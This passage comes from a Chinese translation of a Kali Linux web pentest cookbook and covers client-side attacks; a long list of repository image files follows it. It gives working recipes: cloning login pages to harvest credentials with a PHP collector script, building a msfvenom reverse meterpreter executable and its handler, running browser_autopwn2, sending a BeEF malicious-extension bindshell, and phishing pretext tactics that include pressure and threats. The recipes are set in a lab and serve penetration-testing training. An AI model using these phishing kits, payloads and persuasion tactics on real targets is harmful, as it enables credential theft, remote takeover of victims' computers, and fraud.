在`set>`提示符中输入`1`(`Social-Engineering Attacks`)并按下回车。 36 | 37 | 3. 现在选择`Website Attack Vectors`(选项`2`)。 38 | 39 | 4. 从下面的菜单中,我们选择`Credential Harvester Attack Method`(选项`3`)。 40 | 41 | 5. 选择`Site Cloner `(选项`2`)。 42 | 43 | 6. 它会询问`IP address for the POST back in Harvester/Tabnabbing`。它的意思是收集到的证书打算发送到哪个 IP。这里,我们输入 Kali 主机在`vboxnet0`中的 IP `192.168.56.1`。 44 | 45 | 7. 下面,压脚询问要克隆的 URL,我们会从 vulnerable_vm 中克隆 Peruggia 的登录表单。输入` http://192.168.56.102/peruggia/index. php?action=login`。 46 | 47 | 8. 现在会开始克隆,之后你会被询问是否 SET 要开启 Apache 服务器,让我们这次选择`Yes`,输入`y`并按下回车。 48 | 49 | ![](img/9-1-2.jpg) 50 | 51 | 9. 再次按下回车。 52 | 53 | 0. 让我们测试一下页面,访问` http://192.168.56.1/`。 54 | 55 | ![](img/9-1-3.jpg) 56 | 57 | 现在我们拥有原始登录页面的一份精确副本。 58 | 59 | 1. 现在在里面输入一些用户名和密码,并点击`Login`。我们要尝试`harvester/test`。 60 | 61 | 2. 你会看到页面重定向到了原始的登录页面。现在,来到终端并输入收集器文件保存的目录,默认为 Kali 中的`/var/www/ html`: 62 | 63 | ``` 64 | cd /var/www/html 65 | ``` 66 | 67 | 3. 这里应该有名称为`harvester_{date and time}.txt `的文件。 68 | 69 | 4. 显示它的内容,我们会看到所有捕获的信息: 70 | 71 | ``` 72 | cat harvester_2015-11-22 23:16:24.182192.txt 73 | ``` 74 | 75 | ![](img/9-1-4.jpg) 76 | 77 | 这就结束了,我们仅仅需要将连接发送给我们的目标,并让他们访问我们的伪造登录页面,来收集它们的密码。 78 | 79 | ### 工作原理 80 | 81 | SET 在克隆站点的时候会创建三个文件:首先是`index.html`,这是原始页面的副本,并包含登录表单。如果我们查看 SET 在我们的 Kali 中的 `/var/www/html `创建的`index.html`的代码,我们会发现下面的代码: 82 | 83 | ```html 84 |
85 |
86 | Username:
87 | Password:
88 |

89 |
90 | ``` 91 | 92 | 这里我们可以看到用户名和密码都发给了 192.168.56.1 (我们的 Kali 主机)的`post.php`,这是 SET 创建的第二个文件。这个文件所做的所有事情就是读取 POST 请求的内容并将它们写入`harvester_{date and time}.txt `文件。 SET 所创建的第三个文件储存由用户提交的信息。在向文件中写入数据之后,``标签重定向到原始的登录页面,所以用户会认为他们输入了一些不正确的用户名或密码: 93 | 94 | ```php 95 | 99 | 102 | ``` 103 | 104 | ## 9.2 使用之前保存的页面来创建钓鱼网站 105 | 106 | 在之前的秘籍中,我们使用了 SET 来复制网站并使用它来收集密码。有时候,仅仅复制登录页面不会对高级用户生效,在正确输入密码并再次重定向登录页面时,它们可能会产生怀疑,或者会试着浏览页面中的其它链接。我们这样就会失去它们,因为它们会离开我们的页面而来到原始站点。 107 | 108 | 这个秘籍中,我们会使用我们在第三章“为 Wget 离线分析下载页面”秘籍中复制的页面,来构建更加详细的钓鱼网站,因为它几乎含有所有导航,并且会在捕获证书之后登陆原始站点。 109 | 110 | ### 准备 111 | 112 | 我们需要保存 Web 页面,遵循第三章“为 Wget 离线分析下载页面”秘籍。简单来说,可以通过下列命令来完成: 113 | 114 | ``` 115 | wget -r -P bodgeit_offline/ http://192.168.56.102/bodgeit/ 116 | ``` 117 | 118 | 之后,离线页面会储存在`bodgeit_offline `目录中。 119 | 120 | ### 操作步骤 121 | 122 | 1. 第一步是将下载的站点复制到 Kali 中 APache 的根目录。在 root 终端中: 123 | 124 | ``` 125 | cp -r bodgeit_offline/192.168.56.102/bodgeit /var/www/html/ 126 | ``` 127 | 128 | 2. 之后我们启动 Apache 服务: 129 | 130 | ``` 131 | service apache2 start 132 | ``` 133 | 134 | 3. 下面,我们需要更新我们的登录页面,使它重定向我们收集密码的脚本。打开`bodgeit `目录(`/ var/www/html/bodgeit`)中的`login.jsp`文件,并寻找下面的代码: 135 | 136 | ```html 137 |

Login

138 | Please enter your credentials:

139 |
140 | ``` 141 | 142 | 4. 现在,在表单标签中添加`action`来调用`post.php`: 143 | 144 | ```html 145 | 146 | ``` 147 | 148 | 5. 我们需要在` login.jsp `的相同目录下创建该文件,创建`post.php`,带有下列代码: 149 | 150 | ```php 151 | 157 | 158 | 160 | 161 | 162 | 163 |
164 | 165 | ``` 166 | 167 | 6. 你可以看到,密码会保存到` passwords_C00kb00k.txt`。我们需要创建这个文件来设置合理的权限。在 root 终端中访问`/var/www/html/bodgeit `,并输入下列命令: 168 | 169 | ``` 170 | touch passwords_C00kb00k.txt 171 | chown www-data passwords_C00kb00k.txt 172 | ``` 173 | 174 | 要记住 Web 服务器运行在 www-data 用户下,所以我们需要使这个用户为文件的所有者,便于它可被 web 服务器进程写入。 175 | 176 | 7. 现在,是时候让受害者访问这个站点了,假设我们让用户访问了`http://192.168.56.1/bodgeit/login.jsp`,打开浏览器并访问它。 177 | 178 | 8. 使用一些有效用户信息填充登录表单,对于这个秘籍我们会使用`user@ mail.com/password`。 179 | 180 | 9. 点击`Login`。 181 | 182 | ![](img/9-2-1.jpg) 183 | 184 | 它看起来能正常工作,我们现在成功登录了` 192.168.56.102`。 185 | 186 | 0. 让我们检查密码文件,在终端中输入: 187 | 188 | ``` 189 | cat passwords_C00kb00k.txt 190 | ``` 191 | 192 | ![](img/9-2-2.jpg) 193 | 194 | 并且,我们得到它了。我们捕获了用户的密码,将它们重定向到正常页面并执行了登录。 195 | 196 | ### 工作原理 197 | 198 | 这个秘籍中,我们使用了站点副本来创建密码收集器,并使它更加可信,我们使脚本执行原始站点的登录。 199 | 200 | 在前三步中,我们简单设置了 Web 服务器和它要展示的文件。下面,我们创建了密码收集器脚本`post.php`:前两行和之前的秘籍相同,它接受所有 POST 参数并保存到文件中。 201 | 202 | ```php 203 | $file = 'passwords_C00kb00k.txt'; 204 | file_put_contents($file, print_r($_POST, true), FILE_APPEND); 205 | ``` 206 | 207 | 之后我们将每个参数储存到变量中: 208 | 209 | ```php 210 | $username=$_POST["username"]; 211 | $password=$_POST["password"]; 212 | $submit="Login"; 213 | ``` 214 | 215 | 因为我们的登录不打算依赖于用户发送的正确值,我们设置`$submit="Login"`。下面,我们创建了 HTML 主题,它包含一个表单,在页面加载完毕后会自动发送`username`,`password`和`submit`值到原始站点。 216 | 217 | ```php 218 | 219 |
221 | 222 | 223 | 224 |
225 | 226 | ``` 227 | 228 | 要注意,`body `中的`onload`事件并不调用`frm1.submit() `而是` frm1.submit. click()`。这是因为当我们使用`submit`作为表单元素的名称时,表单中的`submit()`函数会被这个元素覆盖掉(这里是提交按钮)。我们并不打算修改按钮名称,因为它是原始站点需要的名称。所以我们使`submit`变成一个按钮,而不是隐藏字段,并使用它的`click`函数将值提交到原始站点。我们同时将表单中的字段值设置为我们之前用于储存用户数据的变量值。 229 | 230 | ## 9.3 使用 Metasploit 创建反向 shell 并捕获连接 231 | 232 | 当我们执行客户端攻击的时候,我们能够欺骗用户来执行程序,并使这些程序连接回控制端。 233 | 234 | 这个秘籍中,我们会了解如何使用 Metasploit 的 msfvenom 来创建可执行程序(反向 meterpreter shell),它会在执行时连接我们的 Kali 主机,并向我们提供用户计算机的控制。 235 | 236 | ### 操作步骤 237 | 238 | 1. 首先,我们要创建我们的 shell。在 Kali 中打开终端并执行下列命令: 239 | 240 | ``` 241 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4443 -f exe > cute_dolphin.exe 242 | ``` 243 | 244 | 这会创建名为`cute_dolphin.exe`的文件,这是反向 meterpreter shell,反向意味着它会连接回我们,而不是监听我们的连接。 245 | 246 | 2. 下面,我们需要为我们“可爱的海豚”将要创建的连接建立监听器。在 MSFconsole 的终端中: 247 | 248 | ``` 249 | use exploit/multi/handler 250 | set payload windows/meterpreter/reverse_tcp 251 | set lhost 192.168.56.1 set lport 4443 252 | set ExitOnSession false 253 | set AutorunScript post/windows/manage/smart_migrate 254 | exploit -j -z 255 | ``` 256 | 257 | 就像你看到的那样,LHOST 和 RPORT 是我们用于创建`exe`文件的东西。这是程序将要连接的 IP 地址和 TCP 端口。所以我们需要在这个 Kali 的网络接口和端口上监听。 258 | 259 | 3. 我们的 Kali 已准备就绪,现在是准备攻击用户的时候了,我们以 root 启动 Apache 服务并运行下列代码: 260 | 261 | ``` 262 | service apache2 start 263 | ``` 264 | 265 | 4. 之后,将恶意文件复制到 web 服务器文件夹内。 266 | 267 | ``` 268 | cp cute_dolphin.exe /var/www/html/ 269 | ``` 270 | 271 | 5. 假设我们使用社会工程并使我们的受害者相信这个文件是需要执行来获得一些好处的东西。在 Windows 客户端虚拟机内,访问` http://192.168.56.1/cute_dolphin.exe`。 272 | 273 | 6. 你会被询问下载还是运行这个文件,出于测试目的,选择`Run`(运行),再被询问时,再次选择`Run`。 274 | 275 | 7. 现在,在 Kali MSFCONSOLE 的终端中,你会看到建立好的连接: 276 | 277 | ![](img/9-3-1.jpg) 278 | 279 | 8. 我们在后台运行连接处理器(`-j -z`选项)。让我们检查我们的活动会话: 280 | 281 | ``` 282 | sessions 283 | ``` 284 | 285 | ![](img/9-3-2.jpg) 286 | 287 | 9. 如果我们打算和会话交互,可以使用`-i`选项,带有会话的编号: 288 | 289 | ``` 290 | sessions -i 1 291 | ``` 292 | 293 | 0. 我们会看到 meterpreter 的提示符。现在,我们可以请求被入侵系统的信息。 294 | 295 | ``` 296 | sysinfo 297 | ``` 298 | 299 | ![](img/9-3-3.jpg) 300 | 301 | 1. 或者执行系统 shell。 302 | 303 | ``` 304 | shell 305 | ``` 306 | 307 | ![](img/9-3-4.jpg) 308 | 309 | ### 工作原理 310 | 311 | Msfvenom 帮助的我们从 Metasploit 大量列表中创建载荷,并且将它们集成到许多语言的源代码中,或者创建脚本和可执行文件。就像我们在这个秘籍所做的那样。我们这里所使用的参数是所使用的载荷(`windows/ meterpreter/reverse_tcp`)、连接回来所需的主机和端口(LHOST 和 RPORT),以及输出格式(`-f exe`)。将标准输出重定向到文件来将它保存为` cute_dolphin.exe`。 312 | 313 | Metasploit 的 exploit/multi/handler 是个载荷处理器,这里我们将其用于监听连接。在连接建立之后,它执行了 meterpreter 载荷。 314 | 315 | Meterpreter 是增强型的 Metasploit shell。它包含用于嗅探受害者网络,用于将其作为入口来访问本地网络,或者用于执行权限提升和密码提取的模块,以及其它渗透测试中的实用工具。 316 | 317 | ## 9.4 使用 Metasploit 的 browser_autpwn2 攻击客户端 318 | 319 | Metasploit 框架包含客户端利用的庞大集合,许多都为利用浏览器中的已知漏洞而设计。其中有一个模块能够检测客户端所使用的浏览器版本,并挑选最好的利用工具来触发漏洞。这个模块是 browser_autpwn 和 browser_autpwn2,后者是最新版本。 320 | 321 | 在这个秘籍中,我们会使用 browser_autpwn2 执行攻击,并将其配置好来让目标访问。 322 | 323 | ### 操作步骤 324 | 325 | 1. 启动 MSFCONSOLE。 326 | 327 | 2. 我们会使用 browser_autpwn2 (BAP2)。 328 | 329 | ``` 330 | use auxiliary/server/browser_autopwn2 331 | ``` 332 | 333 | 3. 让我们看一看它拥有什么配置项。 334 | 335 | ``` 336 | show options 337 | ``` 338 | 339 | ![](img/9-4-1.jpg) 340 | 341 | 4. 我们将 Kali 设为接受连接的主机。 342 | 343 | ``` 344 | set SRVHOST 192.168.56.1 345 | ``` 346 | 347 | 5. 之后,我们为接受响应的服务器创建目录`/kittens`。 348 | 349 | ``` 350 | set URIPATH /kittens 351 | ``` 352 | 353 | 6. 这个模块会触发大量利用,包含一些 Android 上的。假设我们的攻击目标是 PC,并不打算依赖于 Adobe Flash 的授权。我们会排除 Android 和 Flash 的利用。 354 | 355 | ``` 356 | set EXCLUDE_PATTERN android|adobe_flash 357 | ``` 358 | 359 | 7. 我们也可以设置模块的高级选项(使用`show advanced`来查看高级选项的完整列表),来向我们展示每个加载的利用的独立路径,并且更加详细。 360 | 361 | ``` 362 | set ShowExploitList true 363 | set VERBOSE true 364 | ``` 365 | 366 | 高级选项也允许我们为每个平台(Windows、Unix 和 Android)选择载荷和它的参数,例如 LHOST 和 RPORT。 367 | 368 | 8. 现在,我们已经为执行利用做好了准备。 369 | 370 | ``` 371 | run 372 | ``` 373 | 374 | ![](img/9-4-2.jpg) 375 | 376 | 如果我们打算触发特定的利用,我们可以在服务器的 URL 后面使用`Path`值。例如,如果我们打算触发`firefox_svg_plugin`,我们将`http://192.168.56.1/PWrmfJApkwWsf`发送给受害者,路径在每次模块运行时会随机生成。 377 | 378 | 9. 在客户端的浏览器中,如果我们访问` http://192.168.56.1/kittens`,我们会看到 BAP2 立即响应,并且尝试所有合适的利用,当它成功执行某个之后,它会在后台创建会话: 379 | 380 | ![](img/9-4-3.jpg) 381 | 382 | ### 工作原理 383 | 384 | Browser Autopwn 会建立带有主页的 Web 服务器,并使用 JavaScript 来识别客户端运行了什么软件,并基于它选择合适的利用来尝试。 385 | 386 | 这个秘籍中,我们设置了 Kali 主机,使其为`kittens`目录的请求监听 8080 端口。我们所配置的其它请求是: 387 | 388 | + `EXCLUDE_PATTERN`:告诉 BAP2 排除(不加载) Android 浏览器或 Flash 插件的利用。 389 | 390 | + `ShowExploitList`:展示 BAP2 运行时已加载的利用。 391 | 392 | + `VERBOSE`:告诉 BPA2 显示更多信息,关于加载了什么,加载到哪里,每一步都发生了什么。 393 | 394 | 之后,我们只需要运行模块并使一些用户访问我们的`/kittens `站点。 395 | 396 | ## 9.5 使用 BeEF 攻击 397 | 398 | 在之前的章节中,我们看到了 BeEF(浏览器利用框架)能够做什么。这个秘籍中,我们会使用它来发送而已浏览器扩展,当它执行时,会向我们提供绑定到系统的远程 shell。 399 | 400 | ### 准备 401 | 402 | 我们需要为这个秘籍在 Windows 客户端安装 Firefox。 403 | 404 | ### 操作步骤 405 | 406 | 1. 开启 BeEF 服务。在 root 终端下,输入下列命令: 407 | 408 | ``` 409 | cd /usr/share/beef-xss/ 410 | ./beef 411 | ``` 412 | 413 | 2. 我们会使用 BeEF 的高级演示页面来勾住我们的客户端。在 Windows 客户端 VM 中,打开 FIrefox 并浏览`http://192.168.56.1:3000/demos/butcher/index.html`。 414 | 415 | 3. 现在,登录 BeEF 的面板(`http://127.0.0.1:3000/ui/panel`)。我们必须在这里查看新勾住的浏览器。 416 | 417 | ![](img/9-5-1.jpg) 418 | 419 | 4. 选项被勾住的 FIrefox 并访问` Current Browser | Commands | Social Engineering | Firefox Extension (Bindshell)`。 420 | 421 | ![](img/9-5-2.jpg) 422 | 423 | 由于它被标为橙色(命令模块对目标工作,但是可能对用户可见),我们可能需要利用社会工程来使用户接受扩展。 424 | 425 | 5. 我们需要发送叫做`HTML5 Rendering Enhancements`的扩展给用户,它会通过 1337 端口打开 shell。点击`Execute`来加载攻击。 426 | 427 | 6. 在客户端,Firefox 会询问许可来安装插件并接受它。 428 | 429 | 7. 之后,如果 Windows 防火墙打开了,它会询问许可来让插件访问网络,选择`Allow access `。 430 | 431 | ![](img/9-5-3.jpg) 432 | 433 | 最后两个步骤高度依赖于社会工程,说服用户信任这个插件值得安装和授权。 434 | 435 | 8. 现在,我们应该拥有了等待连接 1337 端口的的客户端。在 Kali 中打开终端并连接到它(我们这里是 192.168.56.102)。 436 | 437 | ``` 438 | nc 192.168.56.102 1337 439 | ``` 440 | 441 | ![](img/9-5-4.jpg) 442 | 443 | 现在我们就连接到了客户端并能够在里面执行命令。 444 | 445 | ### 工作原理 446 | 447 | 一旦客户端被 BeEF 勾住,它就会像浏览器发送请求(通过`hook.js`)来下载扩展。一旦下载完成,就取决于用户是否安装。 448 | 449 | 像之前所说的那样,这个攻击高度依赖用户来完成关键步骤,这取决于我们通过社会工程手段说服用户,使之相信必须安装扩展。这可以通过页面上的文本来完成,比如说解锁一些浏览器的实用功能非常必要。 450 | 451 | 在用户安装扩展之后,我们只需要使用 Netcat 来连接端口 1337,并开始执行命令。 452 | 453 | ## 9.6 诱使用户访问我们的仿造站点 454 | 455 | 每次社会工程攻击的成功依赖于攻击者说服用户的能力,以及用户遵循攻击者指令的意愿。这个秘籍是一系列攻击者所使用的情景和技巧,用于利用它们的优势使用户更加信任并抓住它们。 456 | 457 | 这一节中,我们会看到一些在前面那些安全评估中能够生效的攻击。它们针对拥有一定等级的安全意识,并且不会陷入“银行账户更新”骗局的用户。 458 | 459 | 1. 做你自己的作业:如果是个钓鱼攻击,做一次关于目标的彻底调查:社会网络、论坛、博客、以及任何能够告诉你目标信息的信息员。Maltego 包含在 Kali 中,可能是用于这个任务的最佳工具。之后基于这些编造一个借口(伪造的故事)或者一个攻击主题。 460 | 461 | 我们发现了一些客户的雇员,他们在 Facebook 主页上发送大量图片、视频和文本。我们从她的页面上收集了一些内容并构建了幻灯片演示,它也包含客户电脑的远程执行利用,我们将它通过邮件发送她。 462 | 463 | 2. 创建争论:如果目标是个某领域中的意见领袖,使用他自己的名言,使它们对你说的东西感兴趣,这也会有帮助。 464 | 465 | 我们被雇佣来执行某个金融公司的渗透测试,协约条款包括了社会工程。我们的目标是个经济和金融圈内的知名人士。他在知名的杂志上撰稿,做讲座,出现在经济新闻上,以及其它。我们的团队做了一些关于他的研究,并从经济杂志的网站上获得了一篇文章。这篇文章包含他的公司(我们的客户)的电子邮件。我们寻找了关于文章的更多信息,并发现其它站点上的一些评论和引用。我们利用这些杜撰了一个电子邮件,说我们有一些关于文章的评论,在消息中给出摘要,并使用短链接来链接到 Google Drive 的一个文档上。 466 | 467 | 短链接让用户访问伪造的 Google 登录页面,它由我们控制,并允许我们获取他同事的邮件和密码。 468 | 469 | 3. 说出你是谁:好吧,这并不准确。如果你说“我是个安全研究员,在你的系统中发现了一些东西”,可能对于开发者和系统管理员是个很好的钩子。 470 | 471 | 在其它场景中,我们需要明确公司中的社会工程师和系统管理员。首先,我们不能在网上发现任何关于他的有用信息,但是可以在公司的网站上发现一些漏洞。我们使用它来向我们的目标发送邮件,并说我们在公司的服务器上发现了一些重要的漏洞,我们可以帮你修复它们,附上一张图作为证据,以及Google Drive 文档的链接(另一个伪造登录页面)。 472 | 473 | 4. 固执与逼迫:有时候你不会在首次尝试的时候就收到答复,这时总是要分析结果 -- 目标是否点击了链接,目标是否提交了伪造信息,以及判断是否要做出第二次尝试。 474 | 475 | 我们没有从系统管理员那里收到该场景的答复,页面也没有人浏览。所以我们发送第二个邮件,带有 PDF “完整报告”,并说如果我们没有收到答复,就公布漏洞。于是我们收到了答复。 476 | 477 | 5. 使你自己更加可信:尝试接受一些你模仿的人的修辞,并提供一些真实信息。如果你向公司发送邮件,使用公司的 Logo,为你的伪造站点获得一个免费的`.tk`或`.co.nf`域名,花费一些时间来设计或正确复制目标站点,以及其它。 478 | 479 | 盗取信用卡数据的人所使用的技巧非常通用,它们使用信用卡号码的一部分,后面带有星号,发送“你需要更新你的信息”邮件(的变体)。 480 | 481 | 正常信息会这样写:“你的信用卡 `**** **** **** 3241` 的信息”,但是伪造信息会这样写:“你的信用卡 `4916 **** **** ****` 的信息”。要知道前四位(4916)是 Visa 信用卡的标准。 482 | 483 | ### 工作原理 484 | 485 | 让一个人打开来自完全陌生的人的邮件,阅读它,并点击它包含的链接,以及提供页面上的所需信息,在尼日利亚王子诈骗横行的今天,可能是一件非常困难的事情。成功社会工程攻击的关键是创造一种感觉,让受害者觉得攻击者在为它做一些好事或必要的事情,也要创造一种急迫感,即用户必须快速回复否则会丢失重要的机会。 486 | 487 | ### 更多 488 | 489 | 客户端攻击也可以用于被入侵服务器上的提权。如果你获得了服务器的访问,但是没有继续行动的空间,你可能需要在你的攻击主机上开启而已服务器,并在目标上浏览它。所以你可以利用其它类型的漏洞,并执行特权命令。 490 | -------------------------------------------------------------------------------- /cover.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/cover.jpg -------------------------------------------------------------------------------- /img/.gitignore: -------------------------------------------------------------------------------- 1 | Thumbs.db 2 | -------------------------------------------------------------------------------- /img/1-1-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-1-1.jpg -------------------------------------------------------------------------------- /img/1-1-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-1-2.jpg -------------------------------------------------------------------------------- /img/1-1-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-1-3.jpg -------------------------------------------------------------------------------- /img/1-2-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-2-1.jpg -------------------------------------------------------------------------------- /img/1-2-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-2-2.jpg -------------------------------------------------------------------------------- /img/1-2-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-2-3.jpg -------------------------------------------------------------------------------- /img/1-3-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-3-1.jpg -------------------------------------------------------------------------------- /img/1-3-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-3-2.jpg -------------------------------------------------------------------------------- /img/1-4-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-4-1.jpg -------------------------------------------------------------------------------- /img/1-4-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-4-2.jpg -------------------------------------------------------------------------------- /img/1-5-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-5-1.jpg -------------------------------------------------------------------------------- /img/1-5-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-5-2.jpg -------------------------------------------------------------------------------- /img/1-5-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-5-3.jpg -------------------------------------------------------------------------------- /img/1-6-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-6-1.jpg -------------------------------------------------------------------------------- /img/1-6-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-6-2.jpg -------------------------------------------------------------------------------- /img/1-6-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-6-3.jpg -------------------------------------------------------------------------------- /img/1-7-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-7-1.jpg -------------------------------------------------------------------------------- /img/1-7-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-7-2.jpg -------------------------------------------------------------------------------- /img/1-7-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-7-3.jpg -------------------------------------------------------------------------------- /img/1-7-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-7-4.jpg -------------------------------------------------------------------------------- /img/1-8-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-8-1.jpg -------------------------------------------------------------------------------- /img/1-8-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-8-2.jpg -------------------------------------------------------------------------------- /img/1-8-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-8-3.jpg -------------------------------------------------------------------------------- /img/1-8-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/1-8-4.jpg -------------------------------------------------------------------------------- /img/2-1-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-1-1.jpg -------------------------------------------------------------------------------- /img/2-1-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-1-2.jpg -------------------------------------------------------------------------------- /img/2-1-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-1-3.jpg -------------------------------------------------------------------------------- /img/2-10-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-10-1.jpg -------------------------------------------------------------------------------- /img/2-10-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-10-2.jpg -------------------------------------------------------------------------------- /img/2-10-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-10-3.jpg -------------------------------------------------------------------------------- /img/2-10-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-10-4.jpg -------------------------------------------------------------------------------- /img/2-10-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-10-5.jpg -------------------------------------------------------------------------------- /img/2-2-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-2-1.jpg -------------------------------------------------------------------------------- /img/2-2-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-2-2.jpg -------------------------------------------------------------------------------- /img/2-2-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-2-3.jpg -------------------------------------------------------------------------------- /img/2-2-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-2-4.jpg -------------------------------------------------------------------------------- /img/2-3-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-3-1.jpg -------------------------------------------------------------------------------- /img/2-4-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-4-1.jpg -------------------------------------------------------------------------------- /img/2-4-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-web-pentest-cookbook-zh/8e7cf37f4346d24b1a5929aebdb1042506bc2394/img/2-4-2.jpg -------------------------------------------------------------------------------- /img/2-4-3.jpg: -------------------------------------------------------------------------------- 